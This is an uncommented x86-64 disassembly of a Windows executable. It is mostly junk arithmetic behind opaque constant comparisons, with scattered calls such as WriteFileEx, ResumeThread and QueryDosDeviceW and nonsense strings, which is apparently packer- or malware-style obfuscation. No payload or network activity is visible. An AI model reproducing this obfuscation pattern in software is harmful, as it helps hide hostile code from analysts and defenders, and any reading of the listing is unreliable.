cmp dword [rsp + 0x14b4], 0x1b5d
je 0x140003ddb
cmp dword [rsp + 0x14b4], 0x3f73
je 0x140003e81
jmp 0x140003ed9
movzx eax, word [rsp + 0x404]
movzx ecx, word [rsp + 0x5c0]
and eax, ecx
mov rcx, qword [rsp + 0x27c8]
mov word [rcx], ax
mov r8d, 0xdd
mov edx, 0x89
mov rcx, qword [rsp + 0x2858]
call qword [sym.imp.KERNEL32.dll_SetProcessWorkingSetSize]
mov dword [rsp + 0x1498], eax
movzx eax, byte [rsp + 0xa8]
add eax, 0x7d
mov byte [rsp + 0xa9], al
movsx eax, word [rsp + 0x5bc]
movsx ecx, word [rsp + 0x5b8]
sub eax, ecx
mov rcx, qword [rsp + 0x2810]
mov word [rcx], ax
lea rax, [rsp + 0x143c]
mov qword [rsp + 0x20], rax
lea r9, [rsp + 0x27c8]
mov r8d, 0xa3
lea rdx, [rsp + 0x2850]
mov rcx, qword [rsp + 0x2858]
call qword [sym.imp.KERNEL32.dll_WriteFileEx]
mov dword [rsp + 0x14b0], eax
jmp 0x140003ed9
mov rax, qword [rsp + 0x2840]
mov rcx, qword [rsp + 0x2800]
mov rax, qword [rax]
and rax, rcx
mov rcx, qword [rsp + 0x2840]
mov qword [rcx], rax
mov rax, qword [rsp + 0x2840]
movabs rcx, 0x64fc9372ad849a9d
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x2800], rax
mov edx, 0x9c
mov ecx, 0xa9
call qword [sym.imp.KERNEL32.dll_IsValidLanguageGroup]
mov dword [rsp + 0x14b8], eax
lea rax, [rsp + 0x27a8]
mov qword [rsp + 0x2888], rax
cmp dword [rsp + 0x1468], 0xd4c3
ja 0x1400043e6
mov rax, qword [rsp + 0x2878]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x142c]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x2838]
mov dword [rcx], eax
movabs rax, 0x506646d9f1c3f8f8
mov rcx, qword [rsp + 0x2800]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x2840]
mov qword [rcx], rax
movsx eax, word [rsp + 0x5b8]
mov rcx, qword [rsp + 0x2810]
movsx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x5bc], ax
movsx eax, word [rsp + 0x5b8]
movsx ecx, word [rsp + 0x5bc]
sub eax, ecx
mov rcx, qword [rsp + 0x2810]
mov word [rcx], ax
movzx eax, word [rsp + 0x404]
mov rcx, qword [rsp + 0x27f8]
movzx ecx, word [rcx]
sar eax, cl
mov word [rsp + 0x5c0], ax
mov rax, qword [rsp + 0x2848]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x2888]
mov qword [rsp + 0x2890], rcx
movzx ecx, al
mov rax, qword [rsp + 0x2890]
mov rax, qword [rax]
shl rax, cl
mov rcx, qword [rsp + 0x27e0]
mov qword [rcx], rax
mov rax, qword [rsp + 0x2840]
movabs rcx, 0x5ce4192852e5bae5
mov rax, qword [rax]
or rax, rcx
mov qword [rsp + 0x2800], rax
mov rax, qword [rsp + 0x2878]
mov ecx, dword [rsp + 0x142c]
mov eax, dword [rax]
xor eax, ecx
mov rcx, qword [rsp + 0x2878]
mov dword [rcx], eax
mov rax, qword [rsp + 0x2848]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x25f0]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0x27a8], rax
mov rax, qword [rsp + 0x27e0]
mov rcx, qword [rsp + 0x2888]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0x2848]
mov qword [rcx], rax
movzx eax, byte [rsp + 0xa8]
add eax, 0x71
mov byte [rsp + 0xa9], al
movzx eax, word [rsp + 0x5c0]
mov rcx, qword [rsp + 0x2818]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x404], ax
movsx eax, word [rsp + 0x5bc]
movsx ecx, word [rsp + 0x5b8]
sub eax, ecx
mov rcx, qword [rsp + 0x2810]
mov word [rcx], ax
mov rax, qword [rsp + 0x2818]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x27c8]
movzx ecx, word [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x27f8]
mov word [rcx], ax
movsx eax, word [rsp + 0x5bc]
movsx ecx, word [rsp + 0x5b8]
add eax, ecx
mov rcx, qword [rsp + 0x2810]
mov word [rcx], ax
mov eax, dword [rsp + 0x143c]
mov ecx, dword [rsp + 0x142c]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x2878]
mov dword [rcx], eax
mov rax, qword [rsp + 0x2840]
movabs rcx, 0x5c22ea9d271ee2dd
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x2800], rax
mov rax, qword [rsp + 0x27a8]
mov rcx, qword [0x1400b9008]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x2808], rax
mov rax, qword [rsp + 0x2878]
mov rcx, qword [rsp + 0x2838]
mov ecx, dword [rcx]
mov eax, dword [rax]
xor eax, ecx
mov rcx, qword [rsp + 0x2878]
mov dword [rcx], eax
movsx eax, word [rsp + 0x5b8]
movsx ecx, word [rsp + 0x5bc]
shl eax, cl
mov rcx, qword [rsp + 0x2810]
mov word [rcx], ax
mov rax, qword [rsp + 0x27c8]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x27f8]
movzx ecx, word [rcx]
or eax, ecx
mov word [rsp + 0x404], ax
mov rax, qword [rsp + 0x2800]
mov rcx, qword [rsp + 0x2840]
mov qword [rsp + 0x2898], rcx
movzx ecx, al
mov rax, qword [rsp + 0x2898]
mov rax, qword [rax]
sar rax, cl
mov rcx, qword [rsp + 0x2840]
mov qword [rcx], rax
movsx eax, word [rsp + 0x5bc]
mov rcx, qword [rsp + 0x2810]
movsx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0x5b8], ax
movzx eax, word [rsp + 0x5c0]
movzx ecx, word [rsp + 0x404]
add eax, ecx
mov rcx, qword [rsp + 0x27f8]
mov word [rcx], ax
mov rax, qword [rsp + 0x2888]
mov rcx, qword [rsp + 0x2808]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0x2848]
mov qword [rcx], rax
mov rax, qword [0x1400b9008]
mov rcx, qword [rsp + 0x2808]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x27a8], rax
mov rax, qword [rsp + 0x2878]
mov ecx, dword [rsp + 0x143c]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x2838]
mov dword [rcx], eax
mov eax, dword [section..data]
mov ecx, dword [rsp + 0x1488]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x1460], eax
mov rax, qword [rsp + 0x2840]
mov rcx, qword [rsp + 0x2800]
mov rax, qword [rax]
and rax, rcx
mov rcx, qword [rsp + 0x2840]
mov qword [rcx], rax
movzx eax, byte [rsp + 0xa9]
sub eax, 0xfd
mov byte [rsp + 0xa8], al
movsx eax, word [rsp + 0x5bc]
movsx ecx, word [rsp + 0x5b8]
add eax, ecx
mov rcx, qword [rsp + 0x2810]
mov word [rcx], ax
movsx eax, word [rsp + 0x5b8]
mov rcx, qword [rsp + 0x2810]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x5bc], ax
mov rax, qword [rsp + 0x2848]
mov rcx, qword [rsp + 0x27a8]
mov rax, qword [rax]
xor rax, rcx
mov rcx, qword [rsp + 0x2888]
mov qword [rcx], rax
mov rax, qword [rsp + 0x27f8]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x2818]
movzx ecx, word [rcx]
or eax, ecx
mov rcx, qword [rsp + 0x27c8]
mov word [rcx], ax
mov eax, dword [rsp + 0x1468]
add eax, 0xc0
mov dword [rsp + 0x1468], eax
mov rax, qword [rsp + 0x2888]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x27e0]
mov qword [rsp + 0x28a0], rcx
movzx ecx, al
mov rax, qword [rsp + 0x28a0]
mov rax, qword [rax]
shr rax, cl
mov qword [rsp + 0x2808], rax
mov eax, dword [rsp + 0x1488]
movzx ecx, al
mov eax, dword [section..data]
shl eax, cl
mov dword [rsp + 0x1460], eax
mov eax, dword [rsp + 0x142c]
mov ecx, dword [rsp + 0x143c]
and ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x2838]
mov dword [rcx], eax
mov rax, qword [rsp + 0x2840]
movabs rcx, 0x39d4f53c561982e1
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x2800], rax
mov rax, qword [rsp + 0x27c8]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x27f8]
movzx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x27c8]
mov word [rcx], ax
jmp 0x140003ee9
movsx eax, word [rsp + 0x5bc]
mov dword [rsp + 0x14bc], eax
cmp dword [rsp + 0x14bc], 0
je 0x140004415
cmp dword [rsp + 0x14bc], 0x174d
je 0x14009f96a
jmp 0x14009f978
mov rax, qword [rsp + 0x25f0]
mov qword [rsp + 0x28a8], rax
movabs rax, 0xc034f0a9d70e729c
cmp qword [rsp + 0x28a8], rax
je 0x14000443b
jmp 0x1400044b5
mov rax, qword [rsp + 0x2810]
movsx eax, word [rax]
mov dword [rsp + 0x14c0], eax
cmp dword [rsp + 0x14c0], 0x4944
je 0x14000445c
jmp 0x14000447e
mov r8d, 0xcc
lea rdx, [rsp + 0xe900]
lea rcx, str.irrelevantlyMetamorphosedInspected
call qword [sym.imp.KERNEL32.dll_GetLongPathNameW]
mov dword [rsp + 0x1488], eax
mov rax, qword [rsp + 0x27e0]
mov rcx, qword [rsp + 0x2848]
mov rcx, qword [rcx]
mov rax, qword [rax]
and rax, rcx
mov rcx, qword [rsp + 0x27e0]
mov qword [rcx], rax
movzx ecx, byte [rsp + 0xa9]
call fcn.1400a0b80
nop
jmp 0x14009f8c2
mov rax, qword [rsp + 0x27e0]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x27a8]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x2808], rax
movsx eax, word [rsp + 0x5bc]
mov rcx, qword [rsp + 0x2810]
movsx ecx, word [rcx]
xor eax, ecx
movsx ecx, word [rsp + 0x5b8]
cmp eax, ecx
jl 0x14000457d
lea rax, [rsp + 0x142c]
mov qword [rsp + 0x28b0], rax
mov rax, qword [rsp + 0x2840]
mov rax, qword [rax]
mov qword [rsp + 0x28b8], rax
mov dword [rsp + 0x14c4], 0x784f
lea rax, [rsp + 0xa9]
mov qword [rsp + 0x28c0], rax
movzx eax, byte [0x1400b9e10]
mov byte [rsp + 0xaa], al
movzx eax, word [rsp + 0x5c0]
mov word [rsp + 0x5c4], ax
mov dword [rsp + 0x14c8], 0xe482
mov dword [rsp + 0x14cc], 0x31f1
mov dword [rsp + 0x14d0], 0x1bdc
jmp 0x140004637
mov eax, dword [rsp + 0x143c]
mov dword [rsp + 0x14d4], eax
cmp dword [rsp + 0x14d4], 0x3a1d3a6a
je 0x14000459d
jmp 0x14000462b
mov rax, qword [rsp + 0x2810]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x5b8]
sar eax, cl
mov rcx, qword [rsp + 0x2810]
mov word [rcx], ax
movzx eax, byte [rsp + 0xa8]
mov rcx, qword [rsp + 0x28c0]
movzx ecx, byte [rcx]
or eax, ecx
mov byte [rsp + 0xa9], al
mov rax, qword [rsp + 0x2800]
mov rcx, qword [rsp + 0x2840]
mov qword [rsp + 0x28c8], rcx
movzx ecx, al
mov rax, qword [rsp + 0x28c8]
mov rax, qword [rax]
shl rax, cl
mov rcx, qword [rsp + 0x2840]
mov qword [rcx], rax
mov rax, qword [rsp + 0x28b0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x142c]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x143c], eax
jmp 0x140004637
mov ecx, 0x55
call qword [sym.imp.KERNEL32.dll_ExitProcess]
lea rax, [rsp + 0x14d8]
mov qword [rsp + 0x28d0], rax
mov rax, qword [rsp + 0x27a8]
mov qword [rsp + 0x28d8], rax
cmp qword [rsp + 0x28d8], 0
je 0x140004667
jmp 0x14009f87a
movzx eax, word [rsp + 0x404]
mov word [rsp + 0x5c8], ax
mov rax, qword [rsp + 0x2810]
movzx eax, word [rax]
mov word [rsp + 0x5cc], ax
movsx eax, word [rsp + 0x5bc]
mov rcx, qword [rsp + 0x2810]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x5b8], ax
movsx eax, word [rsp + 0x5b8]
movsx ecx, word [rsp + 0x5cc]
add eax, ecx
mov word [0x1400b9010], ax
movzx eax, word [rsp + 0x5c0]
mov word [rsp + 0x5d0], ax
lea rax, [rsp + 0xaa]
mov qword [rsp + 0x28e0], rax
mov dword [rsp + 0x14dc], 0xf70d
mov rax, qword [rsp + 0x2818]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x27c8]
movzx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x27f8]
movzx ecx, word [rcx]
movzx edx, word [rsp + 0x5c4]
add ecx, edx
cmp eax, ecx
jl 0x14000479b
lea rax, [rsp + 0x1488]
mov qword [rsp + 0x28e8], rax
mov rax, qword [rsp + 0x2840]
mov rcx, qword [rsp + 0x2800]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x24e0], rax
mov rax, qword [rsp + 0x2838]
mov eax, dword [rax]
mov dword [rsp + 0x14e0], eax
mov rax, qword [rsp + 0x2808]
mov rcx, qword [rsp + 0x27a8]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x2888]
mov qword [rcx], rax
mov rax, qword [rsp + 0x28c0]
movzx eax, byte [rax]
mov byte [rsp + 0xab], al
mov dword [rsp + 0x14e4], 0x44fb
jmp 0x1400047b6
movsx eax, byte [0x1400b9e10]
mov rcx, qword [rsp + 0x28e0]
movsx ecx, byte [rcx]
and eax, ecx
mov byte [rsp + 0xaa], al
mov dword [rsp + 0x14e8], 0x2451
movzx eax, byte [rsp + 0xab]
mov rcx, qword [rsp + 0x28c0]
movzx ecx, byte [rcx]
imul eax, ecx
movzx ecx, byte [rsp + 0xa9]
mov dword [rsp + 0x14ec], ecx
movzx edx, byte [rsp + 0xa8]
movzx ecx, dl
mov edx, dword [rsp + 0x14ec]
shl edx, cl
mov ecx, edx
cmp eax, ecx
jne 0x14000491a
movzx eax, word [rsp + 0x5d0]
mov dword [rsp + 0x14f0], eax
cmp dword [rsp + 0x14f0], 0x7b6
je 0x140004822
jmp 0x14000484a
mov rax, qword [rsp + 0x27c8]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x2818]
movzx ecx, word [rcx]
xor eax, ecx
mov rcx, qword [rsp + 0x27f8]
mov word [rcx], ax
jmp 0x14000491a
lea rcx, str.elixirgenteelestPrisoners
call qword [sym.imp.KERNEL32.dll_GetDriveTypeW]
mov dword [rsp + 0x1488], eax
mov rax, qword [rsp + 0x2810]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x5cc]
sar eax, cl
mov rcx, qword [rsp + 0x2810]
mov word [rcx], ax
mov rax, qword [rsp + 0x2878]
mov eax, dword [rax]
mov dword [rsp + 0x14f4], eax
cmp dword [rsp + 0x14f4], 0x428b9155
je 0x1400048fe
cmp dword [rsp + 0x14f4], 0x482b1ab8
je 0x1400048ab
jmp 0x14000491a
mov rax, qword [rsp + 0x28c0]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0xa8]
or eax, ecx
mov byte [rsp + 0xa9], al
mov rcx, qword [rsp + 0x2858]
call qword [sym.imp.KERNEL32.dll_ResumeThread]
mov dword [rsp + 0x14f8], eax
mov rax, qword [rsp + 0x2878]
mov rcx, qword [rsp + 0x28b0]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x2838]
mov dword [rcx], eax
jmp 0x14000491a
mov rax, qword [rsp + 0x28e8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x14d8]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x1460], eax
mov rax, qword [rsp + 0x2840]
mov rcx, qword [rsp + 0x2800]
imul rcx, qword [rax]
mov rax, rcx
mov rcx, qword [rsp + 0x24e0]
mov rdx, qword [rsp + 0x28b8]
and rdx, rcx
mov rcx, rdx
cmp rax, rcx
je 0x14000499e
movzx eax, word [rsp + 0x404]
mov dword [rsp + 0x14fc], eax
cmp dword [rsp + 0x14fc], 0x9a6
je 0x140004987
cmp dword [rsp + 0x14fc], 0xaad
je 0x140004977
jmp 0x14000499e
movzx ecx, byte [rsp + 0xa8]
call fcn.14009fbf0
nop
jmp 0x14000499e
lea rdx, [rsp + 0x2840]
mov cl, 0x14
call qword [sym.imp.KERNEL32.dll_GetNumaAvailableMemoryNode]
mov dword [rsp + 0x1478], eax
mov rax, qword [rsp + 0x24e0]
mov qword [rsp + 0x28f0], rax
movsx eax, byte [rsp + 0xaa]
mov rcx, qword [rsp + 0x28e0]
movsx ecx, byte [rcx]
add eax, ecx
movsx ecx, byte [0x1400b9e10]
cmp eax, ecx
jg 0x140004a05
mov rax, qword [rsp + 0x2848]
mov rcx, qword [rsp + 0x2888]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0x27e0]
mov qword [rcx], rax
movzx ecx, byte [rsp + 0xab]
call fcn.14009fbf0
nop
jmp 0x140004b85
lea rax, [rsp + 0x5b8]
mov qword [rsp + 0x28f8], rax
mov dword [rsp + 0x1500], 0xc96b
lea rax, [rsp + 0xaa]
mov qword [rsp + 0x2900], rax
mov rax, qword [rsp + 0x2840]
mov rax, qword [rax]
mov qword [rsp + 0x2908], rax
movabs rax, 0xc62b0ab26ff78f85
cmp qword [rsp + 0x2908], rax
je 0x140004a5c
jmp 0x140004b61
movzx eax, byte [rsp + 0xa8]
mov byte [rsp + 0x1504], al
cmp byte [rsp + 0x1504], 0x63
je 0x140004a88
cmp byte [rsp + 0x1504], 0xc9
je 0x140004b43
jmp 0x140004b5f
mov eax, dword [rsp + 0x14f8]
mov dword [rsp + 0x1508], eax
cmp dword [rsp + 0x1508], 0xe05c1569
je 0x140004aa8
jmp 0x140004b36
movsx eax, byte [rsp + 0xaa]
mov rcx, qword [rsp + 0x2900]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [0x1400b9e10], al
movzx eax, word [rsp + 0x404]
movzx ecx, word [rsp + 0x5c0]
sub eax, ecx
mov rcx, qword [rsp + 0x2818]
mov word [rcx], ax
lea rax, [rsp + 0x2840]
mov qword [rsp + 0x28], rax
mov dword [rsp + 0x20], 0x2a
lea r9, [rsp + 0xed90]
mov r8d, 0xbc
mov edx, 0x4a
mov ecx, 0xa9
call qword [sym.imp.KERNEL32.dll_GetCalendarInfoW]
mov dword [rsp + 0x143c], eax
movzx eax, byte [rsp + 0xa8]
movzx ecx, byte [rsp + 0xa9]
add eax, ecx
mov rcx, qword [rsp + 0x28c0]
mov byte [rcx], al
mov dword [rsp + 0x150c], 0x404d
jmp 0x140004b5f
mov rax, qword [rsp + 0x28b0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x14e0]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x142c], eax
jmp 0x140004b85
mov rax, qword [rsp + 0x2848]
mov rax, qword [rax]
movzx ecx, al
mov rax, qword [rsp + 0x2808]
shr rax, cl
mov rcx, qword [rsp + 0x2888]
mov qword [rcx], rax
mov rax, qword [rsp + 0x24e0]
mov rcx, qword [rsp + 0x2840]
mov qword [rsp + 0x2910], rcx
movzx ecx, al
mov rax, qword [rsp + 0x2910]
mov rax, qword [rax]
shl rax, cl
mov qword [rsp + 0x28f0], rax
lea rax, [rsp + 0x1488]
mov qword [rsp + 0x2918], rax
cmp dword [rsp + 0x1470], 0x24d6
je 0x140004e5a
mov rax, qword [rsp + 0x27f8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x5c8]
or eax, ecx
mov word [rsp + 0x5c4], ax
mov rax, qword [rsp + 0x2900]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x28e0]
movsx ecx, byte [rcx]
xor eax, ecx
mov byte [rsp + 0xaa], al
mov rax, qword [rsp + 0x28e8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x1488]
and ecx, eax
mov eax, ecx
mov dword [section..data], eax
movsx eax, word [rsp + 0x5b8]
mov rcx, qword [rsp + 0x28f8]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x5bc], ax
mov rax, qword [rsp + 0x28c0]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0xab]
add eax, ecx
mov rcx, qword [rsp + 0x28c0]
mov byte [rcx], al
mov eax, dword [rsp + 0x14f8]
mov ecx, dword [rsp + 0x1460]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x1488], eax
mov rax, qword [rsp + 0x27e0]
mov rcx, qword [rsp + 0x2848]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0x27e0]
mov qword [rcx], rax
mov eax, dword [rsp + 0x1470]
add eax, 0x7b
mov dword [rsp + 0x1470], eax
mov rax, qword [rsp + 0x2840]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x24e0]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x2800], rax
mov rax, qword [rsp + 0x2878]
mov rcx, qword [rsp + 0x2838]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x143c], eax
mov rax, qword [rsp + 0x28f8]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x2810]
movsx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x28f8]
mov word [rcx], ax
movzx eax, word [rsp + 0x5d0]
mov rcx, qword [rsp + 0x27f8]
movzx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x2818]
mov word [rcx], ax
mov rax, qword [rsp + 0x28e0]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0xaa]
shl eax, cl
mov rcx, qword [rsp + 0x28e0]
mov byte [rcx], al
mov rax, qword [rsp + 0x28d0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x1460]
xor ecx, eax
mov eax, ecx
mov dword [section..data], eax
mov rax, qword [rsp + 0x28c0]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0xa9]
or eax, ecx
mov rcx, qword [rsp + 0x28c0]
mov byte [rcx], al
mov rax, qword [rsp + 0x27e0]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x2888]
mov qword [rsp + 0x2920], rcx
movzx ecx, al
mov rax, qword [rsp + 0x2920]
mov rax, qword [rax]
shr rax, cl
mov qword [rsp + 0x27a8], rax
mov rax, qword [rsp + 0x2878]
mov rcx, qword [rsp + 0x2838]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x143c], eax
mov rax, qword [rsp + 0x2840]
mov rcx, qword [rsp + 0x2800]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x28b8], rax
mov rax, qword [rsp + 0x28d0]
mov eax, dword [rax]
mov ecx, dword [section..data]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x28e8]
mov dword [rcx], eax
movzx eax, word [rsp + 0x5c8]
movzx ecx, word [rsp + 0x5c4]
sub eax, ecx
mov word [rsp + 0x5d0], ax
movzx eax, byte [rsp + 0xab]
movzx ecx, byte [rsp + 0xa9]
sub eax, ecx
mov rcx, qword [rsp + 0x28c0]
mov byte [rcx], al
jmp 0x140004bc6
cmp dword [rsp + 0x1430], 0x2c3
jb 0x140005107
movsx eax, word [rsp + 0x5bc]
mov rcx, qword [rsp + 0x28f8]
movsx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0x5cc], ax
movsx eax, word [rsp + 0x5bc]
mov rcx, qword [rsp + 0x28f8]
movsx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x2810]
mov word [rcx], ax
movsx eax, byte [rsp + 0xaa]
movsx ecx, byte [0x1400b9e10]
sub eax, ecx
mov rcx, qword [rsp + 0x28e0]
mov byte [rcx], al
mov rax, qword [rsp + 0x2840]
mov rcx, qword [rsp + 0x2800]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0x2840]
mov qword [rcx], rax
mov rax, qword [rsp + 0x27e0]
mov rcx, qword [rsp + 0x2888]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x25f0], rax
mov rax, qword [rsp + 0x2878]
mov ecx, dword [rsp + 0x143c]
mov eax, dword [rax]
xor eax, ecx
mov rcx, qword [rsp + 0x28b0]
mov dword [rcx], eax
mov rax, qword [rsp + 0x2918]
mov eax, dword [rax]
mov dword [rsp + 0x14f8], eax
movzx eax, byte [rsp + 0xab]
movzx ecx, byte [rsp + 0xa8]
sar eax, cl
mov rcx, qword [rsp + 0x28c0]
mov byte [rcx], al
movsx eax, word [0x1400b9010]
movsx ecx, word [rsp + 0x5bc]
or eax, ecx
mov rcx, qword [rsp + 0x2810]
mov word [rcx], ax
movzx eax, word [rsp + 0x5c4]
movzx ecx, word [rsp + 0x5c0]
shl eax, cl
mov rcx, qword [rsp + 0x27c8]
mov word [rcx], ax
mov rax, qword [rsp + 0x2900]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0xaa]
and eax, ecx
mov byte [0x1400b9e10], al
mov rax, qword [rsp + 0x2900]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x28e0]
movsx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x2900]
mov byte [rcx], al
mov rax, qword [rsp + 0x28f8]
movsx eax, word [rax]
movsx ecx, word [0x1400b9010]
sub eax, ecx
mov rcx, qword [rsp + 0x28f8]
mov word [rcx], ax
mov eax, dword [rsp + 0x142c]
mov ecx, dword [rsp + 0x14e0]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x143c], eax
mov rax, qword [rsp + 0x28d0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x14f8]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x1488], eax
mov rax, qword [rsp + 0x2840]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x28b8]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x28f0], rax
mov rax, qword [rsp + 0x27e0]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x27a8]
and rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x2848]
mov qword [rcx], rax
movzx eax, word [rsp + 0x5c8]
movzx ecx, word [rsp + 0x404]
sub eax, ecx
mov rcx, qword [rsp + 0x27f8]
mov word [rcx], ax
movsx eax, byte [rsp + 0xaa]
mov rcx, qword [rsp + 0x2900]
movsx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x28e0]
mov byte [rcx], al
mov eax, dword [rsp + 0x1430]
sub eax, 0x2f
mov dword [rsp + 0x1430], eax
movsx eax, byte [rsp + 0xaa]
mov rcx, qword [rsp + 0x2900]
movsx ecx, byte [rcx]
add eax, ecx
mov byte [0x1400b9e10], al
mov rax, qword [rsp + 0x27f8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x5c4]
sar eax, cl
mov rcx, qword [rsp + 0x2818]
mov word [rcx], ax
movzx eax, byte [rsp + 0xa8]
movzx ecx, byte [rsp + 0xab]
or eax, ecx
mov rcx, qword [rsp + 0x28c0]
mov byte [rcx], al
jmp 0x140004e5a
mov rax, qword [rsp + 0x25f0]
mov rcx, qword [rsp + 0x27a8]
xor rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x2888]
mov qword [rcx], rax
lea rax, [rsp + 0x14e0]
mov qword [rsp + 0x2928], rax
lea rax, [rsp + 0x28b8]
mov qword [rsp + 0x2930], rax
mov eax, dword [rsp + 0x1488]
mov rcx, qword [rsp + 0x28e8]
mov qword [rsp + 0x2938], rcx
movzx ecx, al
mov rax, qword [rsp + 0x2938]
mov eax, dword [rax]
shl eax, cl
mov rcx, qword [rsp + 0x28d0]
mov dword [rcx], eax
lea rax, [rsp + 0x5b8]
mov qword [rsp + 0x2940], rax
lea rax, [rsp + 0x5c4]
mov qword [rsp + 0x2948], rax
movzx eax, word [rsp + 0x5c8]
mov rcx, qword [rsp + 0x27c8]
movzx ecx, word [rcx]
and eax, ecx
movzx ecx, word [rsp + 0x404]
movzx edx, word [rsp + 0x5c0]
add ecx, edx
cmp eax, ecx
jge 0x1400051f8
mov r8d, 0x98
lea rdx, [rsp + 0xebe0]
lea rcx, str.WinchingleonardoChariotdispatch_flukey
call qword [sym.imp.KERNEL32.dll_QueryDosDeviceW]
mov dword [rsp + 0x1510], eax
movzx ecx, byte [rsp + 0xab]
call fcn.14009fbf0
nop
jmp 0x14009f85c
cmp dword [rsp + 0x1424], 0xbc7f
je 0x1400054ae
mov rax, qword [rsp + 0x28e0]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x2900]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0xaa], al
mov rax, qword [rsp + 0x28e0]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0xaa]
add eax, ecx
mov rcx, qword [rsp + 0x28e0]
mov byte [rcx], al
mov rax, qword [rsp + 0x2930]
mov rcx, qword [rsp + 0x28f0]
mov rax, qword [rax]
and rax, rcx
mov qword [rsp + 0x2800], rax
mov rax, qword [rsp + 0x28b0]
mov ecx, dword [rsp + 0x142c]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x28b0]
mov dword [rcx], eax
mov rax, qword [rsp + 0x25f0]
movzx ecx, al
mov rax, qword [rsp + 0x27a8]
shr rax, cl
mov rcx, qword [rsp + 0x2888]
mov qword [rcx], rax
mov rax, qword [rsp + 0x2918]
mov eax, dword [rax]
mov rcx, qword [rsp + 0x28d0]
